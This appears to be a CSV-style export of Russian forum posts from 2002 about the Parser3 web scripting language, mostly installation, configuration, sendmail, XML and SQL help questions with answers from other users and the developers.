Хостинг у МТУ, вродебы Freebsd\
\
Переписал parser.cgi в cgi-bin\
тудаже директорию lib и charsets, и файл auto.p\
\
Создал файл .htaccess так как это сказано в инструкции!\
\
Вроде все должно работать :), но не работает :(\
Может я чего пропустил?\
\
ПОМОГИТЕ ПЛИЗ!!!!!"
"5367","/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Fri Aug 16 16:21:50 2002] [error] [client 194.67.161.34] Premature end of script headers: /www/docs/wwwoptours/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Fri Aug 16 16:24:50 2002] [error] [client 194.67.161.34] Premature end of script headers: /www/docs/wwwoptours/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Fri Aug 16 16:36:31 2002] [error] [client 194.67.161.34] Premature end of script headers: /www/docs/wwwoptours/cgi-bin/parser3.cgi\
"
"5372","@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
"
"5374","http://parser.ru/docs/lang/fileload.htm\
http://parser.ru/docs/lang/stringsave.htm\
http://parser.ru/docs/lang/tablesave.htm\
http://parser.ru/docs/lang/filedelete.htm\
http://parser.ru/docs/lang/filelist.htm\
http://parser.ru/docs/lang/filemove.htm (тут есть про каталоги)\
\
пустой каталог создать нельзя.\
"
"5375","Сравни размер файла локально и у хостера. Если разные - то закачай-ка его в binary mode, чтобы не поломались при передачи символы 0x0A..."
"5377","А если ты систематически собираешься делать это - то тут парсер тебе не поможет. Или используй другие средства, или придумывай другой механизм передачи данных... НЕ через nameless table."
"5378","Че делать?....."
"5379","Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, webmaster@ptt.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
"
"5382","Я полный чайник в PHP, CGI и т.п. , но хочу научиться кодить на PARSER. Дома я использую буржуйский Apache v1.3.9 восновном для преобразования файлов shtml в нормальный вид. Можно просто (без всего этого програмного жаргона) пояснить мне что и как мне нужно сделать (что куда вставить) чтобы ваша технология заработала...\
Спасибо."
"5383",";-)\
\
В данном случае проблема с запуском самого скрипта, которая связана с особенностью конкретного хостинга, и тут [i]они[/i] (тех-поддержка хостинга) должны помочь, напиши им письмо. Как парсер будет что-то выдавать, если проблемы будут продолжаться, то будем помогать [i]мы[/i]. ;-)\
\
Удачи!"
"5384","Товарищи! Необходимо создать правила форума. Правил нет -- нечего нарушать, а так не интересно. ;-) В качестве одного из пунктов предлагаю запретить создавать одни и те же треды. Очень часто бывает, у кого-либо возникает какая-то проблема, он пишет часть её в одном треде, через час другую часть, уже в другом треде, и т. д.  За примерами далеко ходить не надо ;-) , прямо сейчас передо мной 4 одинаковых треда. ;-)"
"5385","Об этом написано [url=\"http://www.parser.ru/docs/\"]в документации[/url], раздел \"Установка и настройка\". \
Вот, например, [url=\"http://www.parser.ru/docs/lang/install4apachecgi.htm\"]как настроить парсер3 на Apache[/url]."
"5386","А иначе карать за повторяющиеся треды абсурдно.\
\
JIMHO лучше ввести список оффтопиков - часто повторяющихся тем со ссылками на ответы."
"5388","Есть парсер: parser3_3_0_0005_win32_cgi_xml + библиотечки parser3xml_20020424_win32\
\
Есть мой xml\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<moduleset>\
	<module id=\"editors_access\" title=\"Пользователи\">\
		<module id=\"editors\" title=\"Аккуанты\" class=\"AI_Editors\"/>\
		<module id=\"access\" title=\"Разрешения\" class=\"AI_Restrictions\"/>\
	</module>\
	<module id=\"navigation\" title=\"Разделы и страницы\" class=\"AI_BDFSEditor\"/>\
</moduleset>\
[/code]\
\
в коде страницы пишу\
\
[code]\
$AModesML[^xdoc::load[AModes.xml]]\
$modeslist[^AModesML.getElementsByTagName[moduleset]]\
[/code]\
\
А он мне вываливает \
[code]\
method can be called on node of ELEMENT type\
getElementsByTagName\
[/code]\
\
Почему? ведь в доке ясно написано xdoc -> dom: \
$NodeList[^документ.getElementsByTagName[tagname]]\
И вообще какой ELEMENT если AModesML - DOCUMENT?"
"5390","http://parser.ru/download/win32/\
\
в левой колонке текст на русском языке...\
"
"5393","1. Выкачивают их целиком, со всеми сервер-сайд механизмами...\
2. выкачивают базу данных с паролями\
3. дом поднимают нужную операционку (FreeBSD, Solaris, Linux), ставят все, что выкачали на это и наслаждаются?\
\
Если интересует весь сайт целиком - напускай на него Teleport PRO, который выкачает кучу сгенеренных html-ек и наслаждайся..."
"5394","Тот же XML что и в предыдущем сообщении.\
Делаю:\
[code]\
$AModesML[^xdoc::load[AModes.xml]]\
$AModeElement[^AModesML.getElementById[editors_access]]\
$modulename[^AModeElement.getAttribute[class]]	\
[/code]\
\
получаю:\
[code][color=\"red\"]\
Unhandled Exception (Debug)\
\
string method not found\
getAttribute\
[/color][/code]"
"5396","Теперь, если не найдено словосочетание, то ищются сообщения, содержащие все слова этого словосочетания.\
\
Это конечно не Yandex Site, но все-же :)"
"5399","Помогите разобраться как создать алфавитный список\
вида а - б - в - г - ..... - я, где каждая буква - это ссылка на страницу с выборкой из базы всех эламентов, начинающихся с этой буквы (как на серваках с мп3)\
"
"5400","В Парсере хеш -- единственный тип, позволяющий хранить древовидные структуры в одной переменной.\
\
К примеру, нужно на каждой странице сайта отображать навигацию в стиле Yahoo. Дерево радзелов хранится в одном текством файле. И как его считывать?\
\
Можно было бы загрузить все данные в хеш и его подхеши. А затем форичить и выводить в виде меню.\
\
Согласен с Sumo, хеш действительно лучше сделать удобным для поиска, но нельзя ли добавить один единственный метод для упорядоченного вывода?"
"5401","Алфавитный список:\
[code]\
$alphabet[^table::sql{SELECT LCASE(LEFT(field,1)) AS letter FROM table GROUP BY LCASE(LEFT(field,1))}]\
^alphabet.sort{$alphabet.letter}\
^alphabet.menu{\
    <a href=\"catalog.html?letter=$alphabet.letter\">$alphabet.letter</a>\
}{\
    |\
}\
[/code]\
catalog.html:\
[code]\
$catalog[^table::sql{SELECT field FROM table WHERE LEFT(LCASE(field),10) ORDER BY field ASC}]\
^catalog.menu{\
    $catalog.field\
}{\
    <br />\
}\
[/code]"
"5402","Огромное спасибо!\
ВОт в такие моменті и понимаешь зачем сдесь форум сделан"
"5403","Не втикаю в чем дело, но у меня не хотят грузиться кодировки устанавлеваемые по умолчанию. пишет, что не извесная кодировка windows-1251. Кто использует XML, и у кого в маздае настроена использование кодировок, пожалуйста пришлите мне конфиг."
"5404","..., где один и тот же пользователь создаёт сразу четыре одинаковых треда в течении дня. ;-) А в качестве примера, я приводил текущее состояние главной страницы форума. ;-)"
"5405","..., если для тебя это не так -- пиши конкретные ошибки и расположение файлов. \
\
Текущая версия парсера намного проще в установке, чем предыдущая. Достаточно перекачать http://www.parser.ru/f/1/download/win32/parser3conf_20020802_win32.zip , и распаковать содержимое в папку с [i]parser3.exe[/i].\
\
З.Ы. Мне кажется, после появления Windows XP, называть его (XP) мастдаем некорректно. ;-) "
"5406","Есть две таблицы ph_images и ph_folders. Необходимо создать sql-запрос (для mysql), выводящий список папок (из ph_folders), подсчитывающий сколько в каждой папке картинок (из ph_images). Я сочинил такой запрос, \
[code]\
select ph_folders.*, count(ph_images.folder) from ph_folders, ph_images \
where ph_images.folder=ph_folders.foldername /*or (ph_folders.foldername not in ph_images.folder) */\
group by ph_images.folder;\
[/code]\
Единственная проблема -- если в таблице ph_images не встречается папки из ph_folders, то эта папка показана не будет, т. е. если ph_folders.foldername не встречается в ph_images.folder, то запись будет пропущена, а мне так не надо. ;-) Как можно и можно ли изменить этот запрос, что-бы всё работало! ;-) Или всё же придётся делать два sql-запроса? "
"5407","можно ли исправить ситуацию, добавив дополнительный метод ? ;-) Или он уже есть, но о нём ни слова в документации? ;-)"
"5411","Так вроде правильно, но не хрена не происходит.\
$response:Content-Type[text/vnd.wap.wml]"
"5412","У меня при попытки отправить письмо сервер пишет:\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, admin@fatal.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception\
\
Как сделать, что-бы работала отправка почты?"
"5413","Разбираю тестовый пример. Добрался до SQL.\
На строку\
@auto[] \
$connect_string[odbc://DSN=p3test^;UID=^;PWD=] \
\
Получаю ошибку:\
G:/Parser/auto.p(2): 'odbc://DSN=p3test;UID=;PWD=' $SQL:drivers table must be defined  type: parser.runtime\
\
ODBC ресурс (MS Access) работает.\
\
Что делать?\
\
P.S. Скаченный parser3odbc.dll сложил туда же, где лежит сам parser.exe. Думаю, этого не достаточно. Но где описано?"
"5415","[code]\
@test[]\
$result[$.res1[что-то] $.res2[еще что-то]]\
\
@main[]\
$multires[^test[]]\
$multires.res1 > $multires.res2\
[/code]"
"5416","Для его отображения замените ^unhandled_exception_release[$exception;$stack] на ^unhandled_exception_debug[$exception;$stack] в auto.p (103 строка)."
"5417","Он мне пишет:\
\
Unhandled Exception (Debug)\
failed: The mail server doesn't like the sender name, have you set your mail address correctly?\
send\
\
b:/home/parser/www/mailto/index.html(1)\
exception.type=smtp.execute \
\
send b:/home/parser/www/mailto/index.html(1)\
\
Я использую smtp.yandex.ru\
а скрипт выглядит так:\
\
^mail:send[\
      $.from[Parser]\
      $.to[Demon <gotonow@freemail.ru>]\
      $.subject[проверка]\
      $.body[!it's Work!]\
]\
\
но это не работает :("
"5418","А если имя отправителя нормальное написать?\
[code]\
$.from[bit-bucket@hoha.ru]\
[/code]"
"5419","ух. спасибо. а я думал так тоже можно.\
не думал, что все так просто, но заработало.\
Благодарю."
"5420","Скучновато получается.\
Технология конечно полезная, но вот в голову ничего не лезет.\
Что-бы тут сатворить такое. Творчиский запор, как многие говорят.\
Если есть у кого идейки или предложения, подкинте.\
\
а то, Скучновато. Делать нечего.\
\
С Уважением Дмитрий.\
email: gotonow@freemail.ru\
home: http://skidanov.fatal.ru/\
icq: 166707418"
"5421","не подскажите мне как прописать путь на '/usr/sbin/sendmail'\
а то мне сервер пишет при попытки что-нибудь отправить, что:\
\
Unhandled Exception (Debug)\
'/usr/sbin/sendmail' reported problem: Can't open -i: No such file or directory\
Can't open -t: No such file or directory\
Can't open -f: No such file or directory\
Can't open h-blockx@yandex.ru: No such file or directory\
 (0)\
send\
\
подскажите, как на него путь в Parser'е указать?"
"5422","http://www.parser.ru/docs/lang/parserconfmethod.htm"
"5424","Мы тебе по фтп файлы закачиваем, конфиги указываем где скачать, а ты нам \"я делать ничё не буду, идей нет\". Невежливо, понимаешь. ;-)"
"5425","Прошу прощения, просто я недавно закончил home page, но он на php в основном сидит, а вот надо бы, что-нибудь придумать, что еще сделать.\
\
Просто думал, кто чем поделиться, может у кого идей куча, а делать не охота, так мне наоборот.\
\
Прошу прощения если как то не вежливо обошелся. Вы меня не так поняли, я бы делал. Было бы что :) Возможно скоро и на идею пробъет сбацать что-нибудь такое крутое.\
\
Я безмерно благодарен, за помощь и мне очень приятно, что есть не безразличные и не ровнодушные к чужим проблемам люди. Я сам частенько по Форуму пробигаю и гляжу чем могу помочь или что узнать.\
\
Так что не надо так трактовать мои высказывания - пожалуйста.\
\
С Уважением Дмитрий."
"5426","Я еще довно прочел в документации к parser2, что его создатели не рекомендуют использовать таблицы Parser2, потому как в случае обращения в один и тот же момент к одной и той же таблицы нескольких пользователей может получиться совершенно не предсказуемые выводы.\
\
А как обстаят дела с Parser3?\
Просто у меня нет возможности юзать sql и по этому придется использовать таблицы Parser, но стоит ли?"
"5427","Последняя строчка этого кода приводит к ошибке:\
[code]\
$string[bla-bla-bla]\
$string\
$string[]\
^string.length[]\
[/code]\
[color=\"white\"]З.Ы. нсмннбсотчэб :-)[/color]"
"5428","Хотелось бы вынести определения классов из области доступности..."
"5429","При добавлении записи в гостевую книгу происходит следующее\
После нажатия кнопки F5 (REFRESH) данные снова отправляются в книгу.\
Как можно этого избежать."
"5430","Значит так, у тебя на сайте есть только один файл html (файлы классов и др. я не считаю) и ты с помощью RewriteRule направляешь к нему все запросы к страницам:\
[code]\
RewriteCond     %{REQUEST_FILENAME}     !-f\
RewriteCond     %{REQUEST_FILENAME}     !-d\
RewriteRule     ^(.*)$  /index.html?uri=/$1\
[/code]\
так вот разработай надежный и универсальный механизм анализа полученного [i]$form:uri[/i] и по результатам анализа формирования соответствующей страницы."
"5432","И вот чего придумал...\
Перед тем, как работаем с таблицей-фалом [b]table.cfg[/b] мы его переименовываем в [b]_table.cfg[/b] и затем работаем и записываем в [b]_table.cfg[/b]. Все сделали - переименовываем обратно в [b]table.cfg[/b] - это и будет \"зеленый флаг\".\
\
Что делать, если файла не находим? Ставим тайм-аут в секунду и перегружаем страницу. Есть критика/предложения?"
"5433","А тебе не стыдно, здоровому (на первый виртуальный взгляд) парню просить денег??? Зарабатывай - благо у тебя есть на это и время и понты.\
Заметь, что ни один из скриптовиков и технологов студии Лебедева не кричит, что они крутые кодеры, которые набрались опыта для того, чтобы создавать сайты... или еще какая-то ерунда там у тебя была написана...\
Сделал работу? Поставь ссылку - подпиши. Если нужно, кому нужно и так оценят."
"5436","Мне нравится после изменения данных делать $responce:location на себя-же... "
"5437","Представь, что переименовался файл, и тут какой-нить админ сделал kill парсерному процессу....\
\
Для этого обычно все-таки создают файлик рядом... И ежели чего (ну закончили свои ковыряния или дата там у него стала слишком старая) - его сносят."
"5442","А вообще, в административных интерфейсая я делаю именно так. Только не пустую форму показываю, а с тем содержимым - которое добавили/отредактировали..."
"5444","а как ты думаешь, для чего эти штуки?:\
[code]\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"5446","у меня есть уже некоторые наработки на эту тему, но пока это всё ещё очень сыро и специфично, а хочется чтобы было максимально универсально."
"5448","Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable»\
\
Где поставить? Что это за бит такой???"
"5450","see also http://parser.ru/forum/?id=5449"
"5451","такое решение принято для повышения читабельности кода.\
иначе точно будут конструкции вида…\
[code]\
^a.[].b[].c[].d[].e[]\
[/code]\
\
…которые автор перестанет понимать через день, а остальные сразу ничего не поймут.\
\
мелочь: как понять, что ^calc-name[].gif это НЕ обращение к элементу 'gif'?\
конструкция ^{calc-name[]}.gif некрасива, и ^{ занято. другие идеи?"
"5453","поищи по форуму ссылки. Вот если бы кто скомпилил 0005 с отключенной вышеупомянутой опцией, я был бы ему очень благодарен. Я бы и сам может быть попробовал, если бы FreeBSD под рукой была, но её поиметь решительно невозможно :)"
"5454","ошибочно используется xnode вариант, пока для запроса из документа пользовать select[//name] или просто documentElement"
"5459","например конфигурирование упрощено, добавлены новые статические методы в класс file, добавлен метод normalize в класс string, добавлена возможность определения размеров изображений в PNG формате, добавлена возможность создания класса date из строки в стандартном для СУБД формате, добавлена возможность передачи текста на стандартный ввод запускаемым программам, добавлена возможность хэширования строк (паролей), улучшен метод file:find.\
"
"5461","добавьте в свой xml подключение DTD файла,\
\
[code]\
<!DOCTYPE document SYSTEM \"xxx.dtd\">\
[/code]\
\
в котором напишите это:\
\
[code]\
<?xml version=\"1.0\"?> \
<!ATTLIST module\
	id ID #REQUIRED\
>\
[/code]\
\
libxml не настаивает на полном определении DTD."
"5462","активнее пользуйте id() функцию в xpath запросах в ваших .xsl\
она, как и getElementById начинает быть доступна, как только известны столбцы с типом ID."
"5464","только не забудь потом народу линки кинуть на скомпилированные версии :)"
"5465","поскольку не в духе parser.\
используйте подход, когда строка выдаётся методом как обычно.\
\
если по какой-то причине обычный ход дел не устраивает, давайте обсудим, такие ситуации чрезвычайно редки."
"5466","Спасибо\
"
"5467","в последней. \
cvs merge \
xdoc.C"
"5468","когда \"нет возможности использовать SQL-сервер\"\
на Win32 используйте MSAccess.\
* создайте .mdb файлик с необходимыми таблицами, \
* создайте для него DSN\
    Control Panel\
       [Administrative Tasks]\
          Data sources (ODBC)\
              укажите имя файла\
\
и используйте его ^connect[odbc://DSN=его_DSN^;…]{…}\
\
преимущество: \
\
административный интерфейс можно не писать: просто соединяться с этим ODBC через любой клиент, тот же MSAccess, и редактировать прямо как в Excel.\
\
недостаток:\
будет не быстро, но работать. \
грамотное кэширование [^cache] поможет сделать быстро.\
"
"5469","здесь вы имеете дело с типом void [http://parser.ru/docs/lang/voidclass.htm]\
\
почему это важно?"
"5470","даст вам каталог, лежащий на том же уровене, что и каталог с веб-пространством"
"5471","это из набора базовых знаний о unix.\
короткий ответ: посмотрите на диалоговое окно «изменить атрибуты файла» вашего ftp клиента."
"5472","Может я пропустил, но в документации этого нет. Вот я и искал разные комбинации, как это сделать в одну строку. \
Раз нельзя - значит нельзя.\
\
Кстати при ответе в форуме тема обрезается до 50 символов. Это баг или фича?"
"5473","что тип данных для поля темы в БД varchar(50) ну или char(50), кому чего больше нравится :) А зачем больше то? Краткость сестра ... (ну вообщем ты понял :))"
"5475","Для отладки кода на parser на локальной машине обязательно присутствие какого-либо web-сервера?\
К сожалению из форума и FAQ это в явном виде не следует, а я новичок...\
Речь идёт о том, что при работе с руководством по Parser хочется примеры попробовать \"вживую\". Полез в раздел download и запутался+испугался. Вобщем, прошу помочь.\
Анатолий."
"5477","возможно я просто не разобрался.\
есть хэш\
[code]\
$publishinfo[\
  $.0[<font color=\"red\"><strong>нет!</strong></font>]\
  $.1[да]\
]\
[/code]\
дальше есть таблица $news полученая через ^table:sql\
теперь идем по таблице через ^news.menu\
вот так работает:\
[code]\
^news.menu{\
  <tr>\
  $is_publish[$news.is_publish]\
  <td>$publish.$is_publish</td>\
  <tr>\
}\
[/code]\
а как бы обратится без промежуточной переменной.\
$publish.$news.is_publish не проходит и это понятно, а как надо? "
"5481","Итак есть текст попавший ко мне через форму, через textarea.\
я его складываю в БД. положить мне надо так, что бы тэги остались тэгами, но была сделана оптимизация по whitespace.\
если просто кладу set body=trim('$form:maintext') то кладется \"как есть\", и никакая по whitespace не проводится\
чтобы получить whitespace-оптимизацию и оставить теги я должен сделать set body=trim('^untaint[as-is][$form:maintext]') ?"
"5482","И класть в базу с ^untaint[as-is][$form:maintext] - опасно, т.к. могут ввести кавычку и поломать...\
\
^form:text.match[\\S{2,}][g]{ }\
\
Но у меня возникает вопрос - чего ты докопался до этих пробельных символов при вводе их?\
\
С моей точки зрения трогать данные на вводе нужно как можно меньше (хотя я не знаю твою задачу).\
"
"5483","[code]\
parser3 скрипт_на_parser.p>result.html\
result.html\
[/code]\
\
но поставить apache под win32 совсем несложно, есть setup, с которым установка не сложнее любой другой виндовой программы [Enter]/[Enter]."
"5484","как вести обработку данных пользователя каждый знает по-своему.\
сам parser ведёт только неразрушающую обработку результата [в случае тела textarea ему нужно немного помогать, отключая оптимизацию].\
\
если вас беспокоят лишние пробелы внутри тела новости, не беспокойтесь, посетитель сайта их не увидит, они будут съоптимизированы на этапе показа новости из базы."
"5485","спасибо за ответ.\
что не увидят - это я знаю, хотя в том же нетскейпе пара пробелов может все испортить )\
но вопрос тогда в том, что при выводе из базы он не оптимизирует тоже.\
если я беру данные из базы в таблицу, то при выводе он меняет < на &lt; и т.д. \
если я вывожу из базы [as-is] то пробелы не трогает, ну хоть теги оставляет как есть.\
следовательно только ^match ("
"5486","^untaint[sql] я делаю.\
я не докопался. я сто лет )) делал все на php )\
программирую вообще с 1988 года )\
а с парсером пока не могу подружиться )\
а на C# в лет ушел, на Transact-SQL. ASP .NET так же, ну без вопросов )\
а тут ну ни как не могу понять что и как )) даже с докой ))))\
про пробелы. у меня нет Java классов чтобы пользователи редактировали что им надо \"аля ворд\" на сайте. потому использую MS DHTML Edit Control. А он этими пробелами иногда как зафигачит, да еще и с \"\\n\" по 10 штук к ряду. непредсказуемо.\
можно плюнуть. но хочу подчистить, чтоб как конфетка всё было."
"5487","Большое спасибо за пример но он не работает\
Первая часть отрабатывает как положено\
а вторая часть совсем ничего не выдает\
пробовал менять \
[code]\
$catalog[^table::sql{SELECT field FROM table WHERE LEFT(LCASE(field),10) ORDER BY field ASC}]\
[/code]\
на [code]$catalog[^table::sql{SELECT field FROM table WHERE field like '${form:letter}%' ORDER BY field ASC}]\
[/code]\
то работает с ошибками, если записей мало то все нормально, а если более ~25 то начинает по выбераются записи начинающиеся с разных букв"
"5488","http://www.ru.freebsd.org/doc/en_US.ISO8859-1/books/handbook/permissions.html"
"5489","В auto.p написал путь к проге\
\
$MAIL[\
	$.sendmail[/usr/sbin/sendmail]\
]\
\
Скрипт выглядит так:\
\
^mail:send[\
    $.from[Demon <nospam@fatal.ru>]\
    $.to[Demon <gotonow@freemail.ru>]\
    $.subject[Тест]\
    $.body[\
        it's Work\
    ]\
]\
\
При попытки запуска получаю:\
\
Unhandled Exception (Debug)\
'/usr/sbin/sendmail' reported problem: Can't open -i: No such file or directory\
Can't open -t: No such file or directory\
Can't open -f: No such file or directory\
Can't open nospam@fatal.ru: No such file or directory\
 (0)\
send\
\
Это что, не работает SendMail, или я что не так опять делаю?\
"
"5490","Это важно, потому что это ошибка. Если переменная пустая (ей приравнено значение \"\" путём $string[]), то её размер должен быть равен нулю. Я не понимаю, почему это нужно объяснять. Каждый раз сообщая вам о каком-либо баге, вы мне начинаете доказывать что это не баг. Не легче ли просто признать ошибку, исправить, и сказать спасибо за сообщение? \
\
Вот код, используется в разборе строки поиска (для создания sql-запроса), для проверки правильности расстановки скобок, при отсутствии оных выдаёт ошибку. \
\
[code]\
$allbr[]\
$allbrc(0)\
$allbre(0)\
^queryt.menu{$allbr[${allbr}${queryt.brb}${queryt.bre}]}\
#^if(def \"$allbr\"){\
^for[i](0;^allbr.length[]-1){\
^if(\"^allbr.mid($i;1)\"eq \"^(\"){^allbrc.inc[]}{\
^if(\"^allbr.mid($i;1)\"eq \"^)\"){^allbrc.dec[]}{$allbre(1)}\
}\
^if(^math:abs($allbrc)!=$allbrc){$allbre(1)}\
}\
^if($allbrc!=0){$allbre(1)}\
#}\
[/code]\
\
P. S. нсмннбсотчэб -- \"надеюсь, со мной никто не будет спорить о том, что это баг\". ;-)"
"5491","Ведь, например, такой метод есть для чисел (^int.inc, ^int.dec, ...). Так почему бы не сделать для переменных что-то типа ^string.append? Насколько я помню, [url=\"http://parser2.parser.ru/docs/operators01.html#3-1-5\"]в парсере2 такой оператор был[/url], было удобно. ;-) Но не перехолить же из-за этого обратно на парсер2? ;-) LOL\
\
P. S. Я не особенно понял, почему такие ситуации чрезвычайно редки? У меня такой код ($string[$string bla-bla-bla]) встречается очень часто. \
\
[code]\
# Вспомним документацию по parser2. ;-)\
$document:title[$document:title :: mnogo deneg from parser2]\
$mnogo_deneg[три рубля]\
$mnogo_deneg[$mnogo_deneg и ещё пять копеек]\
У меня в кармане $mnogo_deneg\
[/code]"
"5493","Попробуй\
[code]\
$catalog[^table::sql{SELECT field FROM table WHERE LEFT(LCASE(field),1)=\"$form:letter\" ORDER BY field ASC}]\
[/code]"
"5494","...парсер по умолчанию все выдает на выход.\
Т.е. тебе не надо накапливать что-то в каких-то переменных.\
\
Основное, что дает нам парсер - это вставку комманд в текст страницы.\
\
Если все-таки такое необходимо (да, мне тоже это было несколько раз нужно) - то стоит подумать, и возможно немного переделать код.\
\
В твоем примере совершенно непонатно зачем делать так, как ты написал:\
\
Можно написать:\
[code]\
У меня в кармане три рубля^if(условие){ и ещё пять копеек}\
[/code]\
\
Причем без каких-либо строковых переменных."
"5495","шутка. Да, мне тоже это место не нравится.\
\
И мне тоже было-бы удобнее, чтобы не было ошибок в таких случаях.\
\
Но щас я пишу не о том, а почему пытаются уточнить, из-за чего это важно? (А не пытаются доказать, что это не баг)\
\
Доло в том, что мы тут пишем кое что все-таки на p3 и в первую очередь достаем ПАФа на предмет поведения парсера не так, как ожидали :)\
Поэтому мы знаем, что большинство вещей сделано так, а не иначе из-за таких-то и таких-то соображений, и с некоторыми неудобствами миримся.\
\
:)"
"5496","На самом деле спасибо, все что мне надо было узнать я узнал и даже больше. "
"5497","Что deprecated я уже понял. Только до сих пор не могу понять почему?\
А про подсчет столбцов, то для именованных таблиц такая функция вполне бы пригодилась. Ведь способ ^table.columns[] и ^tablehead.count[] требует большее количество тактов, нежели описать одну функцию, которая считает столбцы скажем по признаку конца переменной или по признаку перевода каретки."
"5498","Hi All!\
  Может есть у кого готовый примерчик фотоархива?"
"5499","код вида…\
[code]\
^queryt.menu{$allbr[${allbr}${queryt.brb}${queryt.bre}]}\
[/code]\
…является кривым, и тут дискутировать не нужно, собственно, я ожидал как раз такого ответа.\
\
нужно так…\
[code]\
$allbr[^queryt.menu{${queryt.brb}${queryt.bre}}]\
[/code]\
…это и читабельнее и эффективнее одновременно."
"5500","в ряде выявленных случаев, когда были предъявлены аргументы «почему так удобнее», как можете заметить, в класс void были добавлены фиктивные функции, специально, чтобы уменьшить количество проверок.\
\
поэтому я и спрашивал. залезание в бутылку полагаю не шибко конструктивным.\
\
диагноз: \
«в классе void необходима функция length без параметров, выдающая 0, потому, что есть случаи, когда это удобно»."
"5501","сообщать и ещё раз сообщать.\
обсудим.\
решим.\
возможно, улучшим."
"5502","в общем виде, в базе может лежать \
[code]\
<textarea>\
123\
[empty line]\
456\
</textarea>\
[/code]\
\
и хотя, теоретически, можно добавить \"optimized-as-is\" (диковато звучит), он сделает дело, но перестарается с пустой строкой тела textarea. она умрёт, и посетитель увидит…\
[code]\
123\
456\
[/code]\
…без пустой строки.\
\
как этому красиво воспрепятствовать, у меня нет идей.\
\
диагноз: match/replace.\
\
идеология: as-is, он на то и есть, чтобы отключить все «хитрости», и позволить скриптовальщику сделать то, что он хочет, без помех."
"5503","обновлён последний release и HEAD"
"5504","было проделано это:\
\
INSTALL:\
You can disable user-configured sendmail commands by forcing it, setting\
  \"--with=sendmail=COMMAND\"\
option to configure.\
\
это сделано, для того, чтобы исключить возможные атаки в продолжение к запрету читать и [b]запускать[/b] файлы других групп. программа sendmail, понятно, принадлежит другой группе, и если бы её можно было менять, то потенциально можно было бы запускать программы и не принадлежащие группе текущего процесса, что бы являлось потенциальной дырой.\
\
в вашем случае установлен в /usr/sbin/sendmail лежит вовсе не SendMail, а какая-то другая программа, не понимающая его ключей.\
\
выход1: пересоберите parser из исходных кодов, с нужной конкретно вам командой отправки почты.\
\
выход2: т.к. вам нужна команда, меньшая по длине, чем имеющаяся, её можно поправить, не перекомпилируя, а поправить бинарный файл."
"5505","Еще раз внимательно изучили все конфиги...\
